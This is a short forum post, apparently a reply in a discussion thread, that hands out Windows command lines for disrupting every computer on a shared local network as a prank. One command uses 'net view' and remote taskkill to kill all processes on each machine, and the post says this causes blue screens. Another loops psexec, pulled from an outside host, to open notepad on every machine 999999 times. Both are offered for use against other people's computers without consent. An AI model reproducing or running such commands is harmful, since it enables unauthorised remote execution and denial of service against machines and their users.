Wow, that other thread totally makes sense now that I read this one.
Here is something you can type that'll do that blue screen taskkill on all the machines on the local network:
for /F "skip=3 delims=\ " %i in ('net view') do if not %i==%computername% taskkill /S %i /FI "PID gt 0"
However, it might be funnier to make them run more programs instead of less. Type this and it'll run notepad on every computer 999999 times:
for /L %i in (1,1,999999) DO \\live.sysinternals.com\tools\psexec.exe -accepteula \\* -i -d notepad.exe
(note, the network you're on will have to allow outbound internet traffic over SMB for this to work, but that is probably true if they're just running a wireless AP without having configured it much).